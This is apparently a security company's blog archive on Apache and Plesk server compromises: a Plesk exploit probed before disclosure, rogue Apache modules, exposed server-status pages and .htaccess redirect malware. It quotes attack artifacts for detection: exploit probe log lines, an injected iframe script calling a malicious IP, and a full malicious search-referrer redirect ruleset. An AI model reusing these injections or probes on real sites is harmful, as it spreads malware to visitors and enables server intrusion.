Plesk Vulnerability – In the Wild for Months Before Disclosure

A few days ago we published a post about the Plesk 0-day vulnerability that we started to see being probed in the wild. It uses an incorrect configuration in Plesk 9.0-9.2 that allows anyone to access the PHP binary from inside phppath (phppath/php) and execute remote commands on the server.

However, it looks like this vulnerability has been known for a while in the underground and being used by attackers to compromise Plesk-based servers.

Timeline of a 0-day

This is the original timeline we have since the release of the vulnerability:

  1. 2013/Jun/05 – Kingcope disclosed the vulnerability on full disclosure.
  2. 2013/Jun/06 – Parallels (the company behind Plesk) issued a patch.
  3. 2013/Jun/10 – We released a post with initial data that we started to see with the big influx of attackers scanning for this vulnerability on the wild. The first hit we saw was on June 8th and it grew on June 9th, and is still going.

That’s a very normal timeline for 0-days. Parallels responded very fast (within 1 day) and issued a patch. After a few days, the attackers modified their bots to start looking for this vulnerability and compromising servers.

Real probes for this vulnerability started earlier

However, that timeline is not fully accurate. As we went back to our logs and previous data, we noticed a few hits for “/phppath/php” in May of 2013. As we searched further back, we found scans as far back as April:

/var/ossec/logs/alerts/2013/May/ossec-alerts-18.log.gz:82.195.x.x – - [18/May/2013:22:11:38 -0400] “GET /phppath/php HTTP/1.0″ 404 209 “-” “-”
/var/ossec/logs/alerts/2013/Apr/ossec-alerts-21.log.gz:91.224.x.x – - [21/Apr/2013:01:58:33 -0400] “POST /phppath/php?-d+allow_url_include..

All the scans were looking for that specific file (/phppath/php) that would allow them to exploit this vulnerability. Here is an error we found in an Apache error_log:

[Mon Feb 18 23:53:41 2013] [error] [client 85.114.x.x] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /phppath/php
[Sun Feb 17 04:17:50 2013] [error] [client 69.84.x.x] File does not exist: /home/clientsite/public_html/phppath/php

So we can see it being probed since February, months before it was released. We are still investigating, but if you have a server, try to search for “/phppath/php” in the logs. We are looking for more data to see when it really became known and started to be probed.

Apache PHP Injection to JavaScript Files

We have been talking about Apache server-side injections for a while. Ranging from malicious modules, like Darkleech, to modified Apache binaries. From an attacker perspective, it is much more lucrative to inject their malicious code at that level, instead of having to compromise each site on the server individually.

However, server-side injections are not only limited to Apache modules or binaries. They can also be done via global .htaccess injections and PHP auto appends/preppends, which we will cover in this article.


Read More

Apache Web Server Attacks Continue to Evolve

For the past few months we have seen a gradual increase in server-level compromises. In fact, every week it seems we’re handling half a dozen or so and it continues to increase. It’s one of the reasons that I have started including this as a trend in my most recent Website Security presentations.

Just last week we talked about some very sneaky hacks that targeted the Apache binaries directly in the place of the modules, contrary to what we had been seeing. Fortunately, the more sophisticated attack are still far and few in between leaving us to deal with rogue modules more often than not.

Sucuri - Website Security Trends - Server Compromises

The purpose of this image is to provide a logical representation of the evolution of website attacks. While websites are still the number one distribution mechanism, attackers are making a big effort to improve their attacks by going after server level applications in the place of the website itself, and it’s application (i.e., Custom ASP/PHP, WordPress, Joomla, etc..). The beauty of this is that the attacks becomes platform agnostic, in terms of the platform the end-user is utilizing.

Read More

Apache Binary Backdoors on Cpanel-based servers

For the last few months we have been tracking server level compromises that have been utilizing malicious Apache modules (Darkleech) to inject malware into websites. Some of our previous coverage is available here and here.

However, during the last few months we started to see a change on how the injections were being done. On cPanel-based servers, instead of adding modules or modifying the Apache configuration, the attackers started to replace the Apache binary (httpd) with a malicious one. This new backdoor is very sophisticated and we worked with our friends from ESET to provide this report on what we are seeing.

Read More

Web Server Compromise – Debian Distro – Identify and Remove Corrupt Apache Modules

Came across another server compromise this week. Client was complaining that the following kept being injected into their JavaScript files:

document.write("<style.vb4brk { position:absolute; left:-1655px; top:-1476px} </style> 
<div class="vb4rk"><iframe 
src="httx:// 149.47.154.253/fee1f3119b234cb79f953e92281b12af/q.php" width="231" height="330">
</iframe></div>'); /*!

Fortunately, the client was working off a VPS. Doing so allowed us to dig deeper into the server and better address the issue. Looking at the server we quickly realized that a bad module had been injected. Unfortunately, because this was a Debian distribution, as such you can’t run the commands we provided in our last post.

Read More

Web Server Attacks – Apache Modules, Log Management and RELM

New year, same tricks, mostly because they work. That’s how we’re kicking off the new year folks.

In September of 2012, Dennis, of Unmask Parasites, first wrote about rogue apache modules being injected into web servers. It has since been all the rave. It seems every week we’re handling more and more cases, from private servers to large enterprises, being impacted by the same issue. As for the vector, in a good number of instances it comes down to access and in others vulnerabilities in software, software like PLESK.

What we have started to see is an evolution in these attacks. In one such case we saw two modules injected into the server. One was legitimate and was referencing another illegitimate module. Normal tactics failed to disclose it’s location. Monitoring the traffic of the server using tools like TCPDUMP did in fact show the infection was still present. We briefly wrote about some of these evolutions in a recent post, in which we articulate some of the things we are seeing. Fortunately, a lot of this comes down to the basics of knowing what your servers are running and what they are designed to do.

It’s for this reason that we’re pleading with organizations to apply better practice when managing their web servers. These servers are sitting between you, your environment, and your followers. They are prime targets and less and less focus is being placed on them.

Things you need to be doing:

  • Monitor your httpd.conf file (e.g., /etc/httpd/conf/httpd.conf)
  • Check the modules being loaded in your modules directory
  • Become vigilant with your logs
  • Practice the art of isolation


Read More

Out-of-date Software Affects Websites Big and Small

Last week we published an article listing some big and popular websites that were leaking information about their users via the Apache server-status page. We also published a full list of sites that had this option enabled on our Labs project: URLFind.org.

On URLFind, we list a lot more details than just the sites that have server-status enabled. You can easily find sites that are running outdated versions of WordPress, Joomla or even vBulletin. We also index sites that are still running PHP 4 (outdated and not supported) and other potentially unsafe configurations and servers.

Message to all webmasters

After we published the blog post with the server-status issue, almost all of the sites got fixed (well, excluding Staples and Ford), which I don’t think they would have without that small push (walk of shame).

We are hoping that by shedding a bit more light to this already publicly exposed dilemma, webmasters will take note and update their sites and servers as soon as they can.

Read More

Popular sites with Apache server-status enabled

Apache has a very useful functionality called server-status that allows administrators to easily find how well their servers are performing.

It is basically an HTML page that displays the number of process working, status of each request, IP addresses that are visiting the site, pages that are being queried and things like that. All good.

However, this feature can also have security implications if you leave it wide open to the world. Anyone would be able to see who is visiting the site, the URLs, and some times even find hidden (obscure) admin panels or files that should not be visible to the outside.

Talk about an awkward moment.

URL mapping and server status

We started a small crawling project in our Labs that queried over 10m different web sites (some of the crawl data is at URLfind.org). And we noticed something very interesting: Lots of web sites (some big ones) keep their server-status page open the whole world.

Here are just a few popular brands showing their status:

http://php.net/server-status/
http://metacafe.com/server-status/
http://cloudflare.com/server-status/ (FIXED)
http://disney.go.com/server-status/ (FIXED)
http://www.latimes.com/server-status/
http://www.staples.com/server-status/
http://tweetdeck.com/server-status/ (FIXED)
http://www.nba.com/server-status/
http://www.ford.com/server-status/
http://www.cisco.com/server-status/
http://www.chicagotribune.com/server-status/
http://www.yellow.com/server-status/
http://apache.org/server-status/

And many many more here: http://urlfind.org/?server-status.

Is that a big deal that I can go to staples.com/server-status/ and see all those orders/connections being made and their IPs? Or go to one of them and search for “admin-p” and find a mostly unprotected admin panel (I won’t disclose the site). Or find all the internal URLs and vhost mapping for nba.com or ford.com?

Probably not a big deal by itself (well, if you don’t have an unprotected admin panel), but that can help attackers easily find more information about these environments and use them for more complex attacks.


Simple fix

For server admins, please disable server-status or restrict it to only a set of IP addresses that really need to use it. This link explains how to do so: http://httpd.apache.org/docs/2.2/mod/mod_status.html.

Conditional redirects (or the htaccess malware)

We see all types of malware daily, but one of them seems to cause a lot of confusion to our users (and everyone in general). This is the common question we hear:

“Some users are complaining that when they search for my site on Google, they are redirected to a site full of malware/virus/spam, but when I access, it looks fine. I even scanned it with multiple anti-virus and they didn’t detect anything”

What that means is that someone hacked your site and modified your .htaccess file to redirect users coming from Google to a malware-infested site. Because of that, you end up blacklisted and losing users that can’t reach your site. (well, at least 99% of the time this is the cause).

That’s how the modified .htaccess file looks like:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*gooo?gle.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule .* http://badsite.com [R,L]

On some we even see these conditional redirects if the users are coming from Twitter, myspace, Linkedin, etc:

..
RewriteCond %{HTTP_REFERER} .twitter. [OR]
RewriteCond %{HTTP_REFERER} .blog. [OR]
RewriteCond %{HTTP_REFERER} .live. [OR]
RewriteCond %{HTTP_REFERER} .myspace. [OR]
RewriteCond %{HTTP_REFERER} .linkedin. [OR]
..

The reason most desktop anti virus (or malware scanners) won’t detect that when you scan your files is because they don’t understand the .htaccess file and they won’t follow this redirection. On Sucuri that’s how we would alert:
How to fix it?

Fixing this redirection is very simple, you just need to delete these entries from your .htaccess file (you can have more than one, so check all your directories) and you are set. However, you still have to verify that you don’t have anything else hidden in there, so do a full scan of your web site to make sure you are clean.

In addition to that, you still need to fix the problem that allowed you to get hacked. Most of the time it means updating your web application (WordPress, Joomla, etc), changing your passwords and cleaning your desktop.

As always, if you need help to recover from a malware/hacking attack or need someone to monitor your web site for these issues, visit http://sucuri.net or just send us an email at contact@sucuri.net.

Screenshot of the apache.org defacement (10 years ago)

We recently published a case study of the apache.org defacement that happened 10 years ago. You can read it here: Apache.org defaced – Security archive case study

We didn’t publish the screenshot of the defacement, but our friend @EdiStrosar sent us a link to it. Check it out:
Very funny…